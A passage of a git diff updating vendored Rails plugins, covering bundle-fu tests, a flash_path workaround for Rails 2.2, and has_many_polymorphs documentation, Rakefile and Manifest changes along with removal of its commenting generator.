+class JSBundleTest < Test::Unit::TestCase
+ def test__bundle_js_files__bypass_bundle__should_bypass
+ BundleFu.bundle_js_files
+ end
+
+ def test__bundle_js_files__should_include_contents
+ bundled_js = BundleFu.bundle_js_files(["/javascripts/js_1.js"])
+# puts bundled_js
+# function js_1
+ assert_match("function js_1", bundled_js)
+ end
+end
diff --git a/vendor/plugins/bundle-fu/test/functional/js_minimizer_test.rb b/vendor/plugins/bundle-fu/test/functional/js_minimizer_test.rb
new file mode 100644
index 00000000..54556d8a
--- /dev/null
+++ b/vendor/plugins/bundle-fu/test/functional/js_minimizer_test.rb
@@ -0,0 +1,12 @@
+require File.join(File.dirname(__FILE__), '../test_helper.rb')
+
+class BundleFu::JSMinimizerTest < Test::Unit::TestCase
+ def test_minimize_content__should_be_less
+ test_content = File.read(public_file("javascripts/js_1.js"))
+ content_size = test_content.length
+ minimized_size = BundleFu::JSMinimizer.minimize_content(test_content).length
+
+ assert(minimized_size > 0)
+ assert(content_size > minimized_size)
+ end
+end
diff --git a/vendor/plugins/bundle-fu/test/mock_view.rb b/vendor/plugins/bundle-fu/test/mock_view.rb
new file mode 100644
index 00000000..a78593e7
--- /dev/null
+++ b/vendor/plugins/bundle-fu/test/mock_view.rb
@@ -0,0 +1,31 @@
+class MockView
+ # set RAILS_ROOT to fixtures dir so we use those files
+ include BundleFu::InstanceMethods
+ ::RAILS_ROOT = File.join(File.dirname(__FILE__), 'fixtures')
+
+ attr_accessor :output
+ attr_accessor :session
+ attr_accessor :params
+ def initialize
+ @output = ""
+ @session = {}
+ @params = {}
+ end
+
+ def capture(&block)
+ yield
+ end
+
+ def concat(output, *args)
+ @output << output
+ end
+
+ def stylesheet_link_tag(*args)
+ args.collect{|arg| "" } * "\n"
+ end
+
+ def javascript_include_tag(*args)
+ args.collect{|arg| "" } * "\n"
+ end
+
+end
\ No newline at end of file
diff --git a/vendor/plugins/bundle-fu/test/run_all.rb b/vendor/plugins/bundle-fu/test/run_all.rb
new file mode 100644
index 00000000..a655f8d6
--- /dev/null
+++ b/vendor/plugins/bundle-fu/test/run_all.rb
@@ -0,0 +1,3 @@
+Dir[File.join(File.dirname(__FILE__), "functional/*.rb")].each{|filename|
+ require filename
+}
\ No newline at end of file
diff --git a/vendor/plugins/bundle-fu/test/test_helper.rb b/vendor/plugins/bundle-fu/test/test_helper.rb
new file mode 100644
index 00000000..8395236b
--- /dev/null
+++ b/vendor/plugins/bundle-fu/test/test_helper.rb
@@ -0,0 +1,38 @@
+require 'test/unit'
+require "rubygems"
+require 'active_support'
+
+for file in ["../environment.rb", "mock_view.rb"]
+ require File.expand_path(File.join(File.dirname(__FILE__), file))
+end
+
+def dbg
+ require 'ruby-debug'
+ Debugger.start
+ debugger
+end
+
+class Object
+ def to_regexp
+ is_a?(Regexp) ? self : Regexp.new(Regexp.escape(self.to_s))
+ end
+end
+
+class Test::Unit::TestCase
+ @@content_include_some = <<-EOF
+
+
+
+
+ EOF
+
+ # the same content, slightly changed
+ @@content_include_all = @@content_include_some + <<-EOF
+
+
+ EOF
+
+ def public_file(filename)
+ File.join(::RAILS_ROOT, "public", filename)
+ end
+end
\ No newline at end of file
diff --git a/vendor/plugins/extra_validations/lib/extra_validations.rb b/vendor/plugins/extra_validations/lib/extra_validations.rb
index f5486e96..be50b659 100644
--- a/vendor/plugins/extra_validations/lib/extra_validations.rb
+++ b/vendor/plugins/extra_validations/lib/extra_validations.rb
@@ -16,7 +16,7 @@ module ExtraValidations
# occur (e.g. :if => :allow_validation, or :if => Proc.new { |user| user.signup_step > 2 }). The
# method, proc or string should return or evaluate to a true or false value.
def validates_does_not_contain(*attr_names)
- configuration = { :message => ActiveRecord::Errors.default_error_messages[:invalid], :on => :save, :string => nil }
+ configuration = { :message => I18n.translate('activerecord.errors.messages')[:invalid], :on => :save, :string => nil }
configuration.update(attr_names.pop) if attr_names.last.is_a?(Hash)
raise(ArgumentError, "A string must be supplied as the :string option of the configuration hash") unless configuration[:string].is_a?(String)
diff --git a/vendor/plugins/flashobject_helper/lib/flashobject_view_helper.rb b/vendor/plugins/flashobject_helper/lib/flashobject_view_helper.rb
index 0bd1fb3e..0fe38b2d 100644
--- a/vendor/plugins/flashobject_helper/lib/flashobject_view_helper.rb
+++ b/vendor/plugins/flashobject_helper/lib/flashobject_view_helper.rb
@@ -70,7 +70,18 @@ EOF
# flash_path "dir/movie.swf" # => /swf/dir/movie.swf
# flash_path "/dir/movie" # => /dir/movie.swf
def flash_path(source)
- compute_public_path(source, 'swf', 'swf', false)
+ #BROKEN IN RAILS 2.2 -- code below hacked in pending a refresh of this plugin or change to another --luke@lukemelia.com
+ #compute_public_path(source, 'swf', 'swf', false)
+ dir = "/swf/"
+ if source !~ %r{^/}
+ source = "#{dir}#{source}"
+ end
+
+ relative_url_root = ActionController::Base.relative_url_root
+ if source !~ %r{^#{relative_url_root}/}
+ source = "#{relative_url_root}#{source}"
+ end
+ source
end
end
diff --git a/vendor/plugins/has_many_polymorphs/CHANGELOG b/vendor/plugins/has_many_polymorphs/CHANGELOG
index b7ef9d3b..0bc59aa3 100644
--- a/vendor/plugins/has_many_polymorphs/CHANGELOG
+++ b/vendor/plugins/has_many_polymorphs/CHANGELOG
@@ -1,5 +1,7 @@
-v2.11. Rails 1.2.6 tagging generator compatibility; change test suite to use included integration app; include commenting generator (not well tested) [Josh Stephenson].
+v2.12. Improvements to the test suite; bugfixes for STI children (rsl). Remove fancy dependency system in favor of using Dispatcher::to_prepare every time.
+
+v2.11. Rails 1.2.6 tagging generator compatibility; change test suite to use included integration app.
v2.10. Add :parent_conditions option; bugfix for nullified conditions; bugfix for self-referential tagging generator; allow setting of has_many_polymorphs_options hash in Configuration's after_initialize if you need to adjust the autoload behavior; clear error message on missing or improperly namespaced models; fix .build on double-sided relationships; add :namespace key for easier set up of Camping apps or other unusual class structures.
diff --git a/vendor/plugins/has_many_polymorphs/Manifest b/vendor/plugins/has_many_polymorphs/Manifest
index 8c7931b9..b96dc99f 100644
--- a/vendor/plugins/has_many_polymorphs/Manifest
+++ b/vendor/plugins/has_many_polymorphs/Manifest
@@ -1,14 +1,5 @@
CHANGELOG
examples/hmph.rb
-generators/commenting/commenting_generator.rb
-generators/commenting/templates/comment.rb
-generators/commenting/templates/comment_test.rb
-generators/commenting/templates/commenting.rb
-generators/commenting/templates/commenting_extensions.rb
-generators/commenting/templates/commenting_test.rb
-generators/commenting/templates/commentings.yml
-generators/commenting/templates/comments.yml
-generators/commenting/templates/migration.rb
generators/tagging/tagging_generator.rb
generators/tagging/templates/migration.rb
generators/tagging/templates/tag.rb
@@ -25,7 +16,6 @@ lib/has_many_polymorphs/base.rb
lib/has_many_polymorphs/class_methods.rb
lib/has_many_polymorphs/configuration.rb
lib/has_many_polymorphs/debugging_tools.rb
-lib/has_many_polymorphs/dependencies.rb
lib/has_many_polymorphs/rake_task_redefine_task.rb
lib/has_many_polymorphs/reflection.rb
lib/has_many_polymorphs/support_methods.rb
@@ -44,26 +34,28 @@ test/fixtures/people.yml
test/fixtures/petfoods.yml
test/fixtures/whales.yml
test/fixtures/wild_boars.yml
-test/integration/app/app/controllers/addresses_controller.rb
+test/generator/tagging_generator_test.rb
test/integration/app/app/controllers/application.rb
-test/integration/app/app/controllers/sellers_controller.rb
-test/integration/app/app/controllers/states_controller.rb
-test/integration/app/app/controllers/users_controller.rb
+test/integration/app/app/controllers/bones_controller.rb
test/integration/app/app/helpers/addresses_helper.rb
test/integration/app/app/helpers/application_helper.rb
+test/integration/app/app/helpers/bones_helper.rb
test/integration/app/app/helpers/sellers_helper.rb
test/integration/app/app/helpers/states_helper.rb
test/integration/app/app/helpers/users_helper.rb
-test/integration/app/app/models/address.rb
-test/integration/app/app/models/citation.rb
-test/integration/app/app/models/citations_item.rb
-test/integration/app/app/models/seller.rb
-test/integration/app/app/models/state.rb
-test/integration/app/app/models/user.rb
+test/integration/app/app/models/bone.rb
+test/integration/app/app/models/double_sti_parent.rb
+test/integration/app/app/models/double_sti_parent_relationship.rb
+test/integration/app/app/models/organic_substance.rb
+test/integration/app/app/models/single_sti_parent.rb
+test/integration/app/app/models/single_sti_parent_relationship.rb
+test/integration/app/app/models/stick.rb
+test/integration/app/app/models/stone.rb
test/integration/app/app/views/addresses/edit.html.erb
test/integration/app/app/views/addresses/index.html.erb
test/integration/app/app/views/addresses/new.html.erb
test/integration/app/app/views/addresses/show.html.erb
+test/integration/app/app/views/bones/index.rhtml
test/integration/app/app/views/layouts/addresses.html.erb
test/integration/app/app/views/layouts/sellers.html.erb
test/integration/app/app/views/layouts/states.html.erb
@@ -83,6 +75,7 @@ test/integration/app/app/views/users/show.html.erb
test/integration/app/config/boot.rb
test/integration/app/config/database.yml
test/integration/app/config/environment.rb
+test/integration/app/config/environment.rb.canonical
test/integration/app/config/environments/development.rb
test/integration/app/config/environments/production.rb
test/integration/app/config/environments/test.rb
@@ -90,36 +83,20 @@ test/integration/app/config/locomotive.yml
test/integration/app/config/routes.rb
test/integration/app/config/ultrasphinx/default.base
test/integration/app/config/ultrasphinx/development.conf.canonical
-test/integration/app/db/migrate/001_create_users.rb
-test/integration/app/db/migrate/002_create_sellers.rb
-test/integration/app/db/migrate/003_create_addresses.rb
-test/integration/app/db/migrate/004_create_states.rb
-test/integration/app/db/migrate/005_add_capitalization_to_seller.rb
-test/integration/app/db/migrate/006_add_deleted_to_user.rb
-test/integration/app/db/migrate/007_add_lat_and_long_to_address.rb
-test/integration/app/db/migrate/008_create_citations.rb
-test/integration/app/db/migrate/009_create_citations_items.rb
+test/integration/app/db/migrate/001_create_sticks.rb
+test/integration/app/db/migrate/002_create_stones.rb
+test/integration/app/db/migrate/003_create_organic_substances.rb
+test/integration/app/db/migrate/004_create_bones.rb
+test/integration/app/db/migrate/005_create_single_sti_parents.rb
+test/integration/app/db/migrate/006_create_double_sti_parents.rb
+test/integration/app/db/migrate/007_create_single_sti_parent_relationships.rb
+test/integration/app/db/migrate/008_create_double_sti_parent_relationships.rb
+test/integration/app/db/migrate/009_create_library_model.rb
test/integration/app/db/schema.rb
test/integration/app/doc/README_FOR_APP
-test/integration/app/generated_models/aquatic_fish.rb
-test/integration/app/generated_models/aquatic_pupils_whale.rb
-test/integration/app/generated_models/aquatic_whale.rb
-test/integration/app/generated_models/beautiful_fight_relationship.rb
-test/integration/app/generated_models/citation.rb
-test/integration/app/generated_models/citations_item.rb
-test/integration/app/generated_models/dog.rb
-test/integration/app/generated_models/eaters_foodstuff.rb
-test/integration/app/generated_models/frog.rb
-test/integration/app/generated_models/kitten.rb
-test/integration/app/generated_models/parentship.rb
-test/integration/app/generated_models/person.rb
-test/integration/app/generated_models/petfood.rb
-test/integration/app/generated_models/polymorph_test_some_model.rb
-test/integration/app/generated_models/seller.rb
-test/integration/app/generated_models/tabby.rb
-test/integration/app/generated_models/user.rb
-test/integration/app/generated_models/wild_boar.rb
test/integration/app/generators/commenting_generator_test.rb
+test/integration/app/hmp_development
+test/integration/app/lib/library_model.rb
test/integration/app/public/404.html
test/integration/app/public/500.html
test/integration/app/public/dispatch.cgi
@@ -150,23 +127,28 @@ test/integration/app/script/process/reaper
test/integration/app/script/process/spawner
test/integration/app/script/runner
test/integration/app/script/server
-test/integration/app/test/fixtures/addresses.yml
-test/integration/app/test/fixtures/citations.yml
-test/integration/app/test/fixtures/citations_items.yml
-test/integration/app/test/fixtures/sellers.yml
-test/integration/app/test/fixtures/states.yml
-test/integration/app/test/fixtures/users.yml
+test/integration/app/test/fixtures/double_sti_parent_relationships.yml
+test/integration/app/test/fixtures/double_sti_parents.yml
+test/integration/app/test/fixtures/organic_substances.yml
+test/integration/app/test/fixtures/single_sti_parent_relationships.yml
+test/integration/app/test/fixtures/single_sti_parents.yml
+test/integration/app/test/fixtures/sticks.yml
+test/integration/app/test/fixtures/stones.yml
test/integration/app/test/functional/addresses_controller_test.rb
+test/integration/app/test/functional/bones_controller_test.rb
test/integration/app/test/functional/sellers_controller_test.rb
test/integration/app/test/functional/states_controller_test.rb
test/integration/app/test/functional/users_controller_test.rb
test/integration/app/test/test_helper.rb
-test/integration/app/test/unit/address_test.rb
-test/integration/app/test/unit/citation_test.rb
-test/integration/app/test/unit/citations_item_test.rb
-test/integration/app/test/unit/seller_test.rb
-test/integration/app/test/unit/state_test.rb
-test/integration/app/test/unit/user_test.rb
+test/integration/app/test/unit/bone_test.rb
+test/integration/app/test/unit/double_sti_parent_relationship_test.rb
+test/integration/app/test/unit/double_sti_parent_test.rb
+test/integration/app/test/unit/organic_substance_test.rb
+test/integration/app/test/unit/single_sti_parent_relationship_test.rb
+test/integration/app/test/unit/single_sti_parent_test.rb
+test/integration/app/test/unit/stick_test.rb
+test/integration/app/test/unit/stone_test.rb
+test/integration/server_test.rb
test/models/aquatic/fish.rb
test/models/aquatic/pupils_whale.rb
test/models/aquatic/whale.rb
@@ -184,9 +166,9 @@ test/models/tabby.rb
test/models/wild_boar.rb
test/modules/extension_module.rb
test/modules/other_extension_module.rb
+test/patches/symlinked_plugins_1.2.6.diff
test/schema.rb
test/setup.rb
-test/test_all.rb
test/test_helper.rb
-test/unit/polymorph_test.rb
+test/unit/has_many_polymorphs_test.rb
TODO
diff --git a/vendor/plugins/has_many_polymorphs/README b/vendor/plugins/has_many_polymorphs/README
index 74135825..f6123ff4 100644
--- a/vendor/plugins/has_many_polymorphs/README
+++ b/vendor/plugins/has_many_polymorphs/README
@@ -1,13 +1,14 @@
-
Has_many_polymorphs
An ActiveRecord plugin for self-referential and double-sided polymorphic associations.
== License
-Copyright 2007 Cloudburst, LLC. Licensed under the AFL 3. See the included LICENSE file.
+Copyright 2006-2008 Cloudburst, LLC. Licensed under the AFL 3. See the included LICENSE file.
-The public certificate for this gem is at http://rubyforge.org/frs/download.php/25331/evan_weaver-original-public_cert.pem.
+The public certificate for the gem is here[http://rubyforge.org/frs/download.php/25331/evan_weaver-original-public_cert.pem].
+
+If you use this software, please {make a donation}[http://blog.evanweaver.com/donate/], or {recommend Evan}[http://www.workingwithrails.com/person/7739-evan-weaver] at Working with Rails.
== Description
@@ -35,7 +36,7 @@ The plugin also includes a generator for a tagging system, a common use case (se
== Installation
To install the Rails plugin, run:
- script/plugin install svn://rubyforge.org/var/svn/fauna/has_many_polymorphs/trunk
+ script/plugin install git://github.com/fauna/has_many_polymorphs.git
There's also a gem version. To install it instead, run:
sudo gem install has_many_polymorphs
@@ -63,6 +64,21 @@ One of the child models:
# nothing
end
+For your parent and child models, you don't need any special fields in your migration. For the join model (GuestsKennel), use a migration like so:
+
+ class CreateGuestsKennels < ActiveRecord::Migration
+ def self.up
+ create_table :guests_kennels do |t|
+ t.references :guest, :polymorphic => true
+ t.references :kennel
+ end
+ end
+
+ def self.down
+ drop_table :guests_kennels
+ end
+ end
+
See ActiveRecord::Associations::PolymorphicClassMethods for more configuration options.
== Helper methods example
@@ -113,6 +129,21 @@ Now, dogs and cats can eat birds and cats. Birds can't eat anything (they aren't
In this case, each guest/eaten relationship is called a Devouring.
+In your migration, you need to declare both sides as polymorphic:
+
+ class CreateDevourings < ActiveRecord::Migration
+ def self.up
+ create_table :devourings do |t|
+ t.references :guest, :polymorphic => true
+ t.references :eaten, :polymorphic => true
+ end
+ end
+
+ def self.down
+ drop_table :devourings
+ end
+ end
+
See ActiveRecord::Associations::PolymorphicClassMethods for more.
== Tagging generator
@@ -157,7 +188,7 @@ Note that because of the way Rails reloads model classes, the plugin can sometim
== Reporting problems
-* http://rubyforge.org/forum/forum.php?forum_id=16450
+The support forum is here[http://rubyforge.org/forum/forum.php?forum_id=16450].
Patches and contributions are very welcome. Please note that contributors are required to assign copyright for their additions to Cloudburst, LLC.
diff --git a/vendor/plugins/has_many_polymorphs/Rakefile b/vendor/plugins/has_many_polymorphs/Rakefile
index f8093130..b93a94f5 100644
--- a/vendor/plugins/has_many_polymorphs/Rakefile
+++ b/vendor/plugins/has_many_polymorphs/Rakefile
@@ -1,8 +1,5 @@
-require 'rubygems'
-gem 'echoe', '>=2.2'
require 'echoe'
-require 'lib/has_many_polymorphs/rake_task_redefine_task'
Echoe.new("has_many_polymorphs") do |p|
p.project = "fauna"
@@ -12,10 +9,20 @@ Echoe.new("has_many_polymorphs") do |p|
p.dependencies = ["activerecord"]
p.rdoc_pattern = /polymorphs\/association|polymorphs\/class_methods|polymorphs\/reflection|polymorphs\/autoload|polymorphs\/configuration|README|CHANGELOG|TODO|LICENSE|templates\/migration\.rb|templates\/tag\.rb|templates\/tagging\.rb|templates\/tagging_extensions\.rb/
p.require_signed = true
+ p.clean_pattern += ["**/ruby_sess*", "**/generated_models/**"]
+ p.test_pattern = ["test/unit/*_test.rb", "test/integration/*_test.rb", "test/generator/*_test.rb"]
end
-desc 'Run the test suite.'
-Rake::Task.redefine_task("test") do
- puts "Warning! Tests must be run with the plugin installed in a functioning Rails\nenvironment."
- system "ruby -Ibin:lib:test test/unit/polymorph_test.rb #{ENV['METHOD'] ? "--name=#{ENV['METHOD']}" : ""}"
+desc "Run all the tests for every database adapter"
+task "test_all" do
+ ['mysql', 'postgresql', 'sqlite3'].each do |adapter|
+ ENV['DB'] = adapter
+ ENV['PRODUCTION'] = nil
+ STDERR.puts "#{'='*80}\nDevelopment mode for #{adapter}\n#{'='*80}"
+ system("rake test:multi_rails:all")
+
+ ENV['PRODUCTION'] = '1'
+ STDERR.puts "#{'='*80}\nProduction mode for #{adapter}\n#{'='*80}"
+ system("rake test:multi_rails:all")
+ end
end
diff --git a/vendor/plugins/has_many_polymorphs/TODO b/vendor/plugins/has_many_polymorphs/TODO
index 4deb7361..b06e28f2 100644
--- a/vendor/plugins/has_many_polymorphs/TODO
+++ b/vendor/plugins/has_many_polymorphs/TODO
@@ -1,5 +1,2 @@
-* Does :namespace key definitely work with doubles?
-* Migration examples in docs
-* Controller for tagging generator
* Tag cloud method
diff --git a/vendor/plugins/has_many_polymorphs/generators/commenting/commenting_generator.rb b/vendor/plugins/has_many_polymorphs/generators/commenting/commenting_generator.rb
deleted file mode 100644
index f4842af9..00000000
--- a/vendor/plugins/has_many_polymorphs/generators/commenting/commenting_generator.rb
+++ /dev/null
@@ -1,94 +0,0 @@
-
-class CommentingGenerator < Rails::Generator::NamedBase
- default_options :skip_migration => false
- default_options :self_referential => false
- attr_reader :parent_association_name
- attr_reader :commentable_models
-
- def initialize(runtime_args, runtime_options = {})
- @parent_association_name = (runtime_args.include?("--self-referential") ? "commenter" : "comment")
- @commentable_models = runtime_args.reject{|opt| opt =~ /^--/}.map do |commentable|
- ":" + commentable.underscore.pluralize
- end
- @commentable_models += [":comments"] if runtime_args.include?("--self-referential")
- @commentable_models.uniq!
-
- verify @commentable_models
- hacks
- runtime_args.unshift("placeholder")
- super
- end
-
- def verify models
- puts "** Warning: only one commentable model specified; tests may not run properly." if models.size < 2
- models.each do |model|
- model = model[1..-1].classify
- next if model == "Comment" # don't load ourselves when --self-referential is used
- self.class.const_get(model) rescue puts "** Error: model #{model[1..-1].classify} could not be loaded." or exit
- end
- end
-
- def hacks
- # add the extension require in environment.rb
- phrase = "require 'commenting_extensions'"
- filename = "#{RAILS_ROOT}/config/environment.rb"
- unless (open(filename) do |file|
- file.grep(/#{Regexp.escape phrase}/).any?
- end)
- open(filename, 'a+') do |file|
- file.puts "\n" + phrase + "\n"
- end
- end
- end
-
- def manifest
- record do |m|
- m.class_collisions class_path, class_name, "#{class_name}Test"
-
- m.directory File.join('app/models', class_path)
- m.directory File.join('test/unit', class_path)
- m.directory File.join('test/fixtures', class_path)
- m.directory File.join('test/fixtures', class_path)
- m.directory File.join('lib')
-
- m.template 'comment.rb', File.join('app/models', class_path, "comment.rb")
- m.template 'comment_test.rb', File.join('test/unit', class_path, "comment_test.rb")
- m.template 'comments.yml', File.join('test/fixtures', class_path, "comments.yml")
-
- m.template 'commenting.rb', File.join('app/models', class_path, "commenting.rb")
- m.template 'commenting_test.rb', File.join('test/unit', class_path, "commenting_test.rb")
- m.template 'commentings.yml', File.join('test/fixtures', class_path, "commentings.yml")
-
- m.template 'commenting_extensions.rb', File.join('lib', 'commenting_extensions.rb')
-
- unless options[:skip_migration]
- m.migration_template 'migration.rb', 'db/migrate',
- :migration_file_name => "create_comments_and_commentings"
- end
-
- end
- end
-
- protected
- def banner
- "Usage: #{$0} generate commenting [CommentableModelA CommentableModelB ...]"
- end
-
- def add_options!(opt)
- opt.separator ''
- opt.separator 'Options:'
- opt.on("--skip-migration",
- "Don't generate a migration file for this model") { |v| options[:skip_migration] = v }
- opt.on("--self-referential",
- "Allow comments to comment themselves.") { |v| options[:self_referential] = v }
- end
-
- # Useful for generating tests/fixtures
- def model_one
- commentable_models[0][1..-1].classify
- end
-
- def model_two
- commentable_models[1][1..-1].classify rescue model_one
- end
-end
diff --git a/vendor/plugins/has_many_polymorphs/generators/commenting/templates/comment.rb b/vendor/plugins/has_many_polymorphs/generators/commenting/templates/comment.rb
deleted file mode 100644
index 4c1e822a..00000000
--- a/vendor/plugins/has_many_polymorphs/generators/commenting/templates/comment.rb
+++ /dev/null
@@ -1,33 +0,0 @@
-
-# The Comment model. This model is automatically generated and added to your app if you run the commenting generator.
-
-class Comment < ActiveRecord::Base
-
- # If database speed becomes an issue, you could remove these validations and rescue the ActiveRecord database constraint errors instead.
- validates_presence_of :name, :email, :body
- validates_format_of :email, :with => /^([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})$/i
-
- after_validation :prepend_url
-
- # Set up the polymorphic relationship.
- has_many_polymorphs :commentables,
- :from => [<%= commentable_models.join(", ") %>],
- :through => :commentings,
- :dependent => :destroy,
-<% if options[:self_referential] -%> :as => :<%= parent_association_name -%>,
-<% end -%>
- :parent_extend => proc {
- }
-
- # Tag::Error class. Raised by ActiveRecord::Base::TaggingExtensions if something goes wrong.
- class Error < StandardError
- end
-
- protected
- def prepend_url
- return if self[:url].blank?
- if self[:url] !~ /^http(s):\/\//i
- self.url = 'http://' + self[:url]
- end
- end
-end
diff --git a/vendor/plugins/has_many_polymorphs/generators/commenting/templates/comment_test.rb b/vendor/plugins/has_many_polymorphs/generators/commenting/templates/comment_test.rb
deleted file mode 100644
index b04c9ce3..00000000
--- a/vendor/plugins/has_many_polymorphs/generators/commenting/templates/comment_test.rb
+++ /dev/null
@@ -1,12 +0,0 @@
-require File.dirname(__FILE__) + '/../test_helper'
-
-class CommentTest < Test::Unit::TestCase
- fixtures :comments, :commentings, <%= commentable_models[0..1].join(", ") -%>
-
- def test_to_s
- assert_equal "no1@nowhere.com", <%= model_two -%>.find(2).comments.first.email
- assert_equal "http://letrails.cn", <%= model_two -%>.find(2).comments.last.url
- assert_equal "http://fr.ivolo.us", <%= model_two -%>.find(2).comments.first.url
- end
-
-end
diff --git a/vendor/plugins/has_many_polymorphs/generators/commenting/templates/commenting.rb b/vendor/plugins/has_many_polymorphs/generators/commenting/templates/commenting.rb
deleted file mode 100644
index f429dbca..00000000
--- a/vendor/plugins/has_many_polymorphs/generators/commenting/templates/commenting.rb
+++ /dev/null
@@ -1,13 +0,0 @@
-
-# The Commenting join model. This model is automatically generated and added to your app if you run the commenting generator.
-
-class Commenting < ActiveRecord::Base
-
- belongs_to :<%= parent_association_name -%><%= ", :foreign_key => \"#{parent_association_name}_id\", :class_name => \"Comment\"" if options[:self_referential] %>
- belongs_to :commentable, :polymorphic => true
-
- # This callback makes sure that an orphaned Comment is deleted if it no longer tags anything.
- def before_destroy
- <%= parent_association_name -%>.destroy_without_callbacks if <%= parent_association_name -%> and <%= parent_association_name -%>.commentings.count == 1
- end
-end
diff --git a/vendor/plugins/has_many_polymorphs/generators/commenting/templates/commenting_extensions.rb b/vendor/plugins/has_many_polymorphs/generators/commenting/templates/commenting_extensions.rb
deleted file mode 100644
index 346ab2a8..00000000
--- a/vendor/plugins/has_many_polymorphs/generators/commenting/templates/commenting_extensions.rb
+++ /dev/null
@@ -1,30 +0,0 @@
-class ActiveRecord::Base
- module CommentingExtensions
-
- def comment_count
- commentable?
- self.comments.size
- end
-
- def comment_with(attributes)
- commentable?(true)
- begin
- comment = Comment.create(attributes)
- raise Comment::Error, "Comment could not be saved with" if comment.new_record?
- comment.commentables << self
- rescue
- end
- end
-
- private
- def commentable?(should_raise = false) #:nodoc:
- unless flag = respond_to?(:<%= parent_association_name -%>s)
- raise "#{self.class} is not a commentable model" if should_raise
- end
- flag
- end
- end
-
- include CommentingExtensions
-end
-
diff --git a/vendor/plugins/has_many_polymorphs/generators/commenting/templates/commenting_test.rb b/vendor/plugins/has_many_polymorphs/generators/commenting/templates/commenting_test.rb
deleted file mode 100644
index 37b9cb5f..00000000
--- a/vendor/plugins/has_many_polymorphs/generators/commenting/templates/commenting_test.rb
+++ /dev/null
@@ -1,30 +0,0 @@
-require File.dirname(__FILE__) + '/../test_helper'
-
-class CommentingTest < Test::Unit::TestCase
- fixtures :commentings, :comments, <%= commentable_models[0..1].join(", ") -%>
-
- def setup
- @obj1 = <%= model_two %>.find(1)
- @obj2 = <%= model_two %>.find(2)
-<% if commentable_models.size > 1 -%>
- @obj3 = <%= model_one -%>.find(1)
-<% end -%>
- @comment1 = Comment.find(1)
- @comment2 = Comment.find(2)
- @commenting1 = Commenting.find(1)
- end
-
- def test_commentable
- assert_raises(RuntimeError) do
- @commenting1.send(:commentable?, true)
- end
- assert !@commenting1.send(:commentable?)
-<% if commentable_models.size > 1 -%>
- assert @obj3.send(:commentable?)
-<% end -%>
-<% if options[:self_referential] -%>
- assert @comment1.send(:commentable?)
-<% end -%>
- end
-
-end
diff --git a/vendor/plugins/has_many_polymorphs/generators/commenting/templates/commentings.yml b/vendor/plugins/has_many_polymorphs/generators/commenting/templates/commentings.yml
deleted file mode 100644
index 39acd72b..00000000
--- a/vendor/plugins/has_many_polymorphs/generators/commenting/templates/commentings.yml
+++ /dev/null
@@ -1,23 +0,0 @@
----
-<% if commentable_models.size > 1 -%>
-commentings_003:
- <%= parent_association_name -%>_id: "2"
- id: "3"
- commentable_type: <%= model_one %>
- commentable_id: "1"
-<% end -%>
-commentings_004:
- <%= parent_association_name -%>_id: "2"
- id: "4"
- commentable_type: <%= model_two %>
- commentable_id: "2"
-commentings_001:
- <%= parent_association_name -%>_id: "1"
- id: "1"
- commentable_type: <%= model_two %>
- commentable_id: "1"
-commentings_002:
- <%= parent_association_name -%>_id: "1"
- id: "2"
- commentable_type: <%= model_two %>
- commentable_id: "2"
diff --git a/vendor/plugins/has_many_polymorphs/generators/commenting/templates/comments.yml b/vendor/plugins/has_many_polymorphs/generators/commenting/templates/comments.yml
deleted file mode 100644
index 4a93735d..00000000
--- a/vendor/plugins/has_many_polymorphs/generators/commenting/templates/comments.yml
+++ /dev/null
@@ -1,13 +0,0 @@
----
-comments_001:
- id: "1"
- name: frivolous
- email: no1@nowhere.com
- url: http://fr.ivolo.us
- body: this plugin rocks!
-tags_002:
- id: "2"
- name: yuanyiz
- email: no1@nowhere.com
- url: http://letrails.cn
- body: this plugin has saved my life
diff --git a/vendor/plugins/has_many_polymorphs/generators/commenting/templates/migration.rb b/vendor/plugins/has_many_polymorphs/generators/commenting/templates/migration.rb
deleted file mode 100644
index b8a86aa4..00000000
--- a/vendor/plugins/has_many_polymorphs/generators/commenting/templates/migration.rb
+++ /dev/null
@@ -1,28 +0,0 @@
-
-# A migration to add tables for Comment and Commenting. This file is automatically generated and added to your app if you run the commenting generator.
-
-class CreateCommentsAndCommentings < ActiveRecord::Migration
-
- # Add the new tables.
- def self.up
- create_table :comments do |t|
- t.column :name, :string, :null => false
- t.column :url, :string
- t.column :email, :string
- t.column :body, :text
- end
-
- create_table :commentings do |t|
- t.column :<%= parent_association_name -%>_id, :integer, :null => false
- t.column :commentable_id, :integer, :null => false
- t.column :commentable_type, :string, :null => false
- end
- end
-
- # Remove the tables.
- def self.down
- drop_table :comments
- drop_table :commentings
- end
-
-end
diff --git a/vendor/plugins/has_many_polymorphs/generators/tagging/tagging_generator.rb b/vendor/plugins/has_many_polymorphs/generators/tagging/tagging_generator.rb
index 31fb0881..d99b10f8 100644
--- a/vendor/plugins/has_many_polymorphs/generators/tagging/tagging_generator.rb
+++ b/vendor/plugins/has_many_polymorphs/generators/tagging/tagging_generator.rb
@@ -7,6 +7,8 @@ class TaggingGenerator < Rails::Generator::NamedBase
attr_reader :taggable_models
def initialize(runtime_args, runtime_options = {})
+ parse!(runtime_args, runtime_options)
+
@parent_association_name = (runtime_args.include?("--self-referential") ? "tagger" : "tag")
@taggable_models = runtime_args.reject{|opt| opt =~ /^--/}.map do |taggable|
":" + taggable.underscore.pluralize
diff --git a/vendor/plugins/has_many_polymorphs/generators/tagging/templates/tag_test.rb b/vendor/plugins/has_many_polymorphs/generators/tagging/templates/tag_test.rb
index 7cf39c65..f4ab543a 100644
--- a/vendor/plugins/has_many_polymorphs/generators/tagging/templates/tag_test.rb
+++ b/vendor/plugins/has_many_polymorphs/generators/tagging/templates/tag_test.rb
@@ -1,10 +1,15 @@
require File.dirname(__FILE__) + '/../test_helper'
class TagTest < Test::Unit::TestCase
- fixtures :tags, :taggings, <%= taggable_models[0..1].join(", ") -%>
+ fixtures <%= taggable_models[0..1].join(", ") -%>
+
+ def setup
+ @obj = <%= model_two %>.find(:first)
+ @obj.tag_with "pale imperial"
+ end
def test_to_s
- assert_equal "delicious sexy", <%= model_two -%>.find(2).tags.to_s
+ assert_equal "imperial pale", <%= model_two -%>.find(:first).tags.to_s
end
end
diff --git a/vendor/plugins/has_many_polymorphs/generators/tagging/templates/tagging.rb b/vendor/plugins/has_many_polymorphs/generators/tagging/templates/tagging.rb
index 2cf4cee1..bb5ea28f 100644
--- a/vendor/plugins/has_many_polymorphs/generators/tagging/templates/tagging.rb
